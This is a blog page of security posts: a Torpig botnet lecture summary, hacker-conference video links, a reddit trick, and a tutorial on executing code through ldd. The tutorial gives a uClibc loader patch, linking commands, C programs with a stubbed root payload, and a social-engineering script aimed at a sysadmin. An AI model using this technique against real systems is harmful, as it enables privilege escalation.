post 'good coders code, great reuse' to del.icio.us post 'good coders code, great reuse' to digg post 'good coders code, great reuse' to reddit subscribe to 'good coders code, great reuse' posts via feed
good coders code, great reuse

Incorrect documentation is often worse than no documentation.

Bertrand Meyer

I am now on Twitter! Meet me on Twitter here (my nick is pkrumins.)
Or on Google Buzz and Facebook.

Security 23 Jan 2010 11:05 am
1 Star2 Stars3 Stars4 Stars5 Stars (5 votes, average: 4 out of 5)
Loading ... Loading ...

hackers steal moneyI recently watched an interesting video lecture on stealing botnets. A group of researchers at UCSB recently managed to take control over a part of Torpig botnet for 10 days. During this time, they observed 180 thousand infections and recorded almost 70GB of data that bots collected. This data included submitted form information from all the websites the infected person had visited, smtp, ftp, pop3, windows, passwords, credit card numbers and passwords from various password managers.

Here are the most interesting facts from the lecture:

Torpig uses a technique called “domain fluxing” to avoid being shut down by simply blocking the IP or the domain name of control center servers. The idea is simple - depending on date and time the algorithm generates a domain name to connect to. If the domain gets shut down, the bots will simply use a different domain after some time.

The researchers were able to take control over a part of the botnet by cracking the domain name generating algorithm and registering some of the domain names to be used for communication in the future.

The bad guys noticed that a part of botnet has been taken over and issued a software update to all bots to use a new domain flux algorithm, which used Twitter’s popular topics for the day to generate domain names. It was no longer possible to predict the domain that would be used tomorrow.

When communicating with command & control server, the bots included a unique id field that was generated from machine’s hardware. This allowed researchers to estimate the real number of unique computers infected. Researchers saw 1.2 million unique IP addresses but only 180k unique machines.

The bots would steal financial data from 410 financial institutions (top 5: PayPal, Poste Italiane, Capital One, E*Trade, Chase), they would log credit card information (top 5 cards: Visa, Mastercard, American Express, Maestro, Discover), and they would also steal all the passwords from browser’s password manager.

In a 2008 study Symantec estimated that credit card information is valued at $.10 to $25 per card in the underground market. The bank account information is valued at $10.00 to $1,000 per account. Using this study, researchers estimated that during 10 day period the amount of financial data bots collected were worth $83k to $8.3 million.

Using various estimations researchers calculated that if the bots are used for denial of service the total bandwidth would be 17Gbps.

Researchers observed that there was a fraction of people who’d fill out the phishing page and then immediately email the company’s security group telling that they may have been victims of identity theft.

Since Torpig was sending all the HTTP POST data and emails to command & control servers, researchers did statistics on emails and found out that 14% of all captured emails were about jobs and resumes, 10% discussed computer security/malware, 7% discussed money, 6% were sports fans, 5% were worried about exams and their grades, 4% were seeking partners online.

Researchers collected 300,000 unique credentials on 370,000 websites. 28% of people reused their password on multiple domains. There were 173,686 unique passwords.

Researchers converted the passwords in Unix format and tried to crack them with John the Ripper. 56,000 were cracked in less than 65 minutes using brute-force. Using a wordlist 14,000 passwords were cracked in the next 10 minutes. And another 30,000 passwords were cracked in the next 24 hours. That’s 58% of all passwords cracked in 24 hours.

You’re welcome to watch the video lecture. It’s 1h 15m long. It’s presented by Richard A. Kemmerer.

Here are all the topics in the lecture:

  • [02:00] Botnet terminology - bot, botnet, command & control server, control channel, botmaster.
  • [03:00] Introduction to the Torpig trojan and Mebroot malware platform.
  • [05:00] How Torpig works.
  • [11:30] Torpig HTML injection.
  • [15:00] Domain fluxing.
  • [19:15] Taking over Torpig’s c&c server.
  • [24:10] Data collection principles.
  • [26:00] C&c server protocol.
  • [31:10] Botnet’s size estimation.
  • [37:00] Botnet’s threats: theft of financial information, denial of service, proxy servers, privacy thefts.
  • [37:30] Threat: Theft of financial information.
  • [42:00] Threat: Denial of service.
  • [43:30] Threat: Proxy servers.
  • [44:20] Threat: Privacy theft.
  • [47:00] Password analysis.
  • [50:40] Criminal retribution.
  • [53:00] Law enforcement.
  • [58:00] Repatriating the data.
  • [01:00:00] Ethics.
  • [01:02:00] Conclusions.
  • [01:06:00] Questions and answers.

For more information see the publication “Your Botnet is My Botnet: Analaysis of a Botnet Takeover.”

Comments (11) Comments | Email Post Email 'How to Steal a Botnet (Video Lecture Summary)' to a friend | Print Post Print 'How to Steal a Botnet (Video Lecture Summary)' | Permalink Permalink to 'How to Steal a Botnet (Video Lecture Summary)' | Trackback Trackback to 'How to Steal a Botnet (Video Lecture Summary)'
(Popularity: 11%) 13,941 Views

Did you like this page? Subscribe to my posts!

I am now on Twitter! Meet me on Twitter here (my nick is pkrumins.)
Or on Google Buzz and Facebook.

Security 26 Oct 2009 07:15 am
1 Star2 Stars3 Stars4 Stars5 Stars (24 votes, average: 4.71 out of 5)
Loading ... Loading ...

The `ldd` utility is more vulnerable than you think. It’s frequently used by programmers and system administrators to determine the dynamic library dependencies of executables. Sounds pretty innocent, right? Wrong!

In this article I am going to show you how to create an executable that runs arbitrary code if it’s examined by `ldd`. I have also written a social engineering scenario on how you can get your sysadmin to unknowingly hand you his privileges.

I researched this subject thoroughly and found that it’s almost completely undocumented. I have no idea how this could have gone unnoticed for such a long time. Here are the only few documents that mention this interesting behavior: 1, 2, 3, 4.

First let’s understand how `ldd` works. Take a look at these three examples:

[1] $ ldd /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7eca000)
        /lib/ld-linux.so.2 (0xb801e000)

[2] $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7e30000)
        /lib/ld-linux.so.2 (0xb7f84000)

[3] $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7f7c000)
        /lib/ld-linux.so.2 (0xb80d0000)

The first command [1] runs `ldd` on `/bin/grep`. The output is what we expect — a list of dynamic libraries that `/bin/grep` depends on.

The second command [2] sets the LD_TRACE_LOADED_OBJECTS environment variable and seemingly executes `/bin/grep` (but not quite). Surprisingly the output is the same!

The third command [3] again sets the LD_TRACE_LOADED_OBJECTS environment variable, calls the dynamic linker/loader `ld-linux.so` and passes `/bin/grep` to it as an argument. The output is again the same!

What’s going on here?

It turns out that `ldd` is nothing more than a wrapper around the 2nd and 3rd command. In the 2nd and 3rd example `/bin/grep` was never run. That’s a peculiarity of the GNU dynamic loader. If it notices the LD_TRACE_LOADED_OBJECTS environment variable, it never executes the program, it outputs the list of dynamic library dependencies and quits. (On BSD `ldd` is a C program that does the same.)

If you are on Linux, take a look at the `ldd` executable. You’ll find that it’s actually a bash script. If you step through it very carefully, you’ll notice that the 2nd command gets executed if the program specified to `ldd` can’t be loaded by the `ld-linux.so` loader, and that the 3rd command gets executed if it can.

One particular case when a program won’t be handled by `ld-linux.so` is when it has a different loader than the system’s default specified in it’s .interp ELF section. That’s the whole idea in executing arbitrary code with `ldd` — load the executable via a different loader that does not handle LD_TRACE_LOADED_OBJECTS environment variable but instead executes the program.

For example, you can put a malicious executable in ~/app/bin/exec and have it loaded by ~/app/lib/loader.so. If someone does `ldd /home/you/app/bin/exec` then it’s game over for them. They just ran the nasty code you had put in your executable. You can do some social engineering to get the sysadmin to execute `ldd` on your executable allowing you to gain the control over the box.

Compiling the new loader.

Get the uClibc C library. It has pretty code and can be easily patched to bypass the LD_TRACE_LOADED_OBJECTS checks.

$ mkdir app
$ cd app
app$ wget 'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'

Unpack it and run `make menuconfig`, choose the target architecture (most likely i386), leave everything else unchanged.

app$ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx
app$ rm -rf uClibc-0.9.30.1.tar.bz2
app$ cd uClibc-0.9.30.1
app/uClibc-0.9.30.1$ make menuconfig

Edit .config and set the destination install directory to `/home/you/app/uclibc`.

# change these two lines
RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

# to this
RUNTIME_PREFIX="/home/you/app/uclibc/"
DEVEL_PREFIX="/home/you/app/uclibc/usr/"

Now we’ll need to patch it to bypass LD_TRACE_LOADED_OBJECTS check.

Here is the patch. It patches the `ldso/ldso/ldso.c` file. Save the patch to a file and run `patch -p0 < file`. If you don't do it, arbitrary code execution won't work, because it will think that `ldd` wants to list dependencies.

--- ldso/ldso/ldso-orig.c       2009-10-25 00:27:12.000000000 +0300
+++ ldso/ldso/ldso.c    2009-10-25 00:27:22.000000000 +0300
@@ -404,9 +404,11 @@
        }
 #endif

+    /*
        if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
                trace_loaded_objects++;
        }
+    */

 #ifndef __LDSO_LDD_SUPPORT__
        if (trace_loaded_objects) {

Now compile and install it.

app/uClibc-0.9.30.1$ make -j 4
app/uClibc-0.9.30.1$ make install

This will install the uClibc loader and libc library to /home/you/app/uclibc.

That’s it. We have now installed uClibc. All we have to do now is link our executable with uClibc’s loader (app/lib/ld-uClibc.so.0). It will execute the code if run under `ldd`!

Creating and linking an executable with uClibc’s loader.

First let’s create a test application that will just print something when executed via `ldd` and let’s put it in `app/bin/myapp`

app/uClibc-0.9.30.1$ cd ..
app$ mkdir bin
app$ cd bin
app/bin$ vim myapp.c

Let’s write the following in `myapp.c`.

#include <stdio.h>
#include <stdlib.h>

int main() {
  if (getenv("LD_TRACE_LOADED_OBJECTS")) {
    printf("All your box are belong to me.\n");
  }
  else {
    printf("Nothing.\n");
  }
  return 0;
}

This is the most basic code. It checks if LD_TRACE_LOADED_OBJECTS env variable is set or not. If the variable set, the program acts maliciously but if it’s not, the program acts as if nothing happened.

The compilation is somewhat complicated because we have to link with the new C library statically (because anyone who might execute our program via `ldd` will not have our new C library in their LD_LIBRARY_PATH) and specify the new loader:

app/bin$ L=/home/you/app/uclibc
app/bin$ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 \
    -Wl,-rpath-link,$L/lib \
    -nostdlib \
    myapp.c -o myapp \
    $L/usr/lib/crt*.o \
    -L$L/usr/lib/ \
    -lc

Here is the explanation of options passed to gcc:

  • -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 — specifies the new loader,
  • -Wl,-rpath-link,$L/lib — specifies the primary directory where the dynamic loader will look for dependencies,
  • -nostdlib — don’t use system libraries,
  • myapp.c -o myapp — compile myapp.c to executable myapp,
  • $L/usr/lib/crt*.o — statically link to initial runtime code, function prolog, epilog,
  • -L$L/usr/lib/ — search for libc in this directory,
  • -lc — link with the C library.

Now let’s run the new `myapp` executable. First, without ldd:

app/bin$ ./myapp
Nothing.

LD_TRACE_LOADED_OBJECTS environment variable was not set and the program output “Nothing.” as expected.

Now let’s run it via `ldd` and for the maximum effect, let’s run it from the root shell, as if I was the sysadmin:

app/bin$ su
Password:
app/bin# ldd ./myapp
All your box are belong to me.

Wow! The sysadmin just executed our exploit! He lost the system.

A more sophisticated example.

Here is a more sophisticated example that I just came up with. When run without `ldd` this application fails with a fictitious “error while loading shared libraries” error. When run under `ldd` it checks if the person is root, and owns the box. After that it fakes `ldd` output and pretends to have `libat.so.0` missing.

This code needs a lot of improvements and just illustrates the main ideas.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

/*
This example pretends to have a fictitious library 'libat.so.0' missing.
When someone with root permissions runs `ldd this_program`, it does
something nasty in malicious() function.

I haven't implemented anything malicious but have written down some ideas
of what could be done.

This is, of course, a joke program. To make it look more real, you'd have
to bump its size, add some more dependencies, simulate trying to open the
missing library, detect if ran under debugger or strace and do absolutely
nothing suspicious, etc.
*/

void pretend_as_ldd()
{
    printf("\tlinux-gate.so.1 =>  (0xffffe000)\n");
    printf("\tlibat.so.0 => not found\n");
    printf("\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\n");
    printf("\t/lib/ld-linux.so.2 (0xb8017000)\n");
}

void malicious()
{
    if (geteuid() == 0) {
        /* we are root ... */
        printf("poof, all your box are belong to us\n");

        /* silently add a new user to /etc/passwd, */
        /* or create a suid=0 program that you can later execute, */
        /* or do something really nasty */
    }
}

int main(int argc, char **argv)
{
    if (getenv("LD_TRACE_LOADED_OBJECTS")) {
        malicious();
        pretend_as_ldd();
        return 0;
    }

    printf("%s: error while loading shared libraries: libat.so.0: "
           "cannot open shared object file: No such file or directory\n",
           argv[0]);
    return 127;
}

Actually you can put the code you want to get executed right in the loader itself. This way the executable will always look clean.

Social engineering.

Most system administrators probably don’t know that they should never run `ldd` on unfamiliar executables.

Here is a fake scenario on how to get your sysadmin run `ldd` on your executable.

Sysadmin’s phone: ring, ring.

Sysadmin: “Mr. sysadmin here. How can I help you?”

You: “Hi. An app that I have been using has started misbehaving. I am getting weird dependency errors. Could you see what is wrong?”

Sysadmin: “Sure. What app is it?”

You: “It’s in my home directory, /home/carl/app/bin/myapp. Sometimes when I run it, it says something about ‘error while loading shared libraries’.”

Sysadmin: “Just a sec.” noise from keyboard in the background

Sysadmin: “What was it again? It must be some kind of a library problem. I am going to check its dependencies.”

You: “Thanks, it’s /home/carl/app/bin/myapp.”

Sysadmin: “Hmm. It says it’s missing `libat.so.0`, ever heard of it?”

You: “Nope, no idea… I really need to get my work done, can you check on that and get back to me?” evil grin in the background

Sysadmin: “Okay Carl, I’m gonna call you back.”

You: “Thanks! See ya.”

You: `mv ~/.hidden/working_app ~/app/bin/myapp`.

After a while.

Sysadmin calls: “Hi. It seems to be working now. I don’t know what the problem was.”

You: “Oh, okay. Thanks!”

Lesson to be learned: Never run `ldd` on unknown executables!

P.S. If you enjoyed this article subscribe to my future posts! I have many more quality articles coming.

Comments (60) Comments | Email Post Email 'ldd arbitrary code execution' to a friend | Print Post Print 'ldd arbitrary code execution' | Permalink Permalink to 'ldd arbitrary code execution' | Trackback Trackback to 'ldd arbitrary code execution'
(Popularity: 17%) 50,625 Views

Did you like this page? Subscribe to my posts!

I am now on Twitter! Meet me on Twitter here (my nick is pkrumins.)
Or on Google Buzz and Facebook.

SecurityVideo Lectures 24 Jun 2008 08:00 am
1 Star2 Stars3 Stars4 Stars5 Stars (4 votes, average: 4.75 out of 5)
Loading ... Loading ...

shmoocon hacker hacking videosHere are more hacker videos (previous post was on Defcon videos). This time they are from Shmoocon hacker conference. They put out videos from 2006, 2007 and they are putting out videos from 2008 pretty soon.

Shmoocon, as they describe themselves, is an annual East coast hacker convention hell-bent on offering three days of an interesting atmosphere for demonstrating technology exploitation, inventive software & hardware solutions, and open discussions of critical infosec issues.

Here are the videos from Shmoocon 2006:

Here are the videos from Shmoocon 2007:

Here are the videos from Shmoocon 2008:

Enjoy and don’t forget to comment on which videos you liked the best!

Comments (8) Comments | Email Post Email 'Hacking Videos from Shmoocon' to a friend | Print Post Print 'Hacking Videos from Shmoocon' | Permalink Permalink to 'Hacking Videos from Shmoocon' | Trackback Trackback to 'Hacking Videos from Shmoocon'
(Popularity: 20%) 25,510 Views

Did you like this page? Subscribe to my posts!

I am now on Twitter! Meet me on Twitter here (my nick is pkrumins.)
Or on Google Buzz and Facebook.

SecurityVideo Lectures 01 May 2008 03:55 pm
1 Star2 Stars3 Stars4 Stars5 Stars (9 votes, average: 5 out of 5)
Loading ... Loading ...

defcon logo post iconHere is something for all you hackers out there reading my blog: all the videos from the previous year’s biggest and greatest hacker conference — DefCon 15!

I found these videos via this post on Roy/SAC’s blog. He bought a full set of DVDs for several hundred dollars and uploaded them to Google Video! I sincerely appreciate his effort!

Total of more than 200 videos!

For your convenience, here is the full DefCon 15 session listing:
Download Full DefCon 15 Session Listing (.pdf).

You’re welcome to comment here on lectures you found intriguing and liked the most!

Have fun!

Comments (15) Comments | Email Post Email 'Videos from Defcon 15 Hacker Conference' to a friend | Print Post Print 'Videos from Defcon 15 Hacker Conference' | Permalink Permalink to 'Videos from Defcon 15 Hacker Conference' | Trackback Trackback to 'Videos from Defcon 15 Hacker Conference'
(Popularity: 23%) 33,449 Views

Did you like this page? Subscribe to my posts!

I am now on Twitter! Meet me on Twitter here (my nick is pkrumins.)
Or on Google Buzz and Facebook.

SecurityToolsHacker's Approach 26 Aug 2007 10:00 am
1 Star2 Stars3 Stars4 Stars5 Stars (3 votes, average: 4 out of 5)
Loading ... Loading ...

post icon firefox reddit greasemonkeyWhen I was developing the reddit media: intelligent fun online website, I needed to embed reddit’s up/down voting buttons to allow users to cast votes on media links directly from the site.

reddit up down vote box redditmedia

I remembered that reddit had decided not to display posts with a submission time less than two hours ago.

reddit post less than two hours ago

This left me thinking, if the scores are not displayed for new posts, what’s the point of having vote boxes on a just posted article page? I thought, it wouldn’t make sense if it wasn’t available. Quickly did I find a link on reddit’s new page which seemed to have received a few votes and added a reddit’s button to an empty HTML document.

A reddit voting button/widget can be embedded on a site by putting the following JavaScript code fragment anywhere in the HTML source:


<script>reddit_url='[URL]'</script>
<script>reddit_title='[TITLE]'</script>
<script language="javascript" src="http://reddit.com/button.js?t=2"></script>

where the URL is the URL to the article and TITLE is the title of the article.

Voilà! I now know something nobody else did - how many votes had the post received!

found score of reddit post before general public

NOW, let’s create something cool for general public to use so that anyone could reveal the scores for all recently posted links :)

Continue reading 'Revealing Reddit Score for Just Posted Links with FireFox and GreaseMonkey' Continue reading ‘Revealing Reddit Score for Just Posted Links with FireFox and GreaseMonkey’

Comments (4) Comments | Email Post Email 'Revealing Reddit Score for Just Posted Links with FireFox and GreaseMonkey' to a friend | Print Post Print 'Revealing Reddit Score for Just Posted Links with FireFox and GreaseMonkey' | Permalink Permalink to 'Revealing Reddit Score for Just Posted Links with FireFox and GreaseMonkey' | Trackback Trackback to 'Revealing Reddit Score for Just Posted Links with FireFox and GreaseMonkey'
(Popularity: 15%) 6,802 Views

Did you like this page? Subscribe to my posts!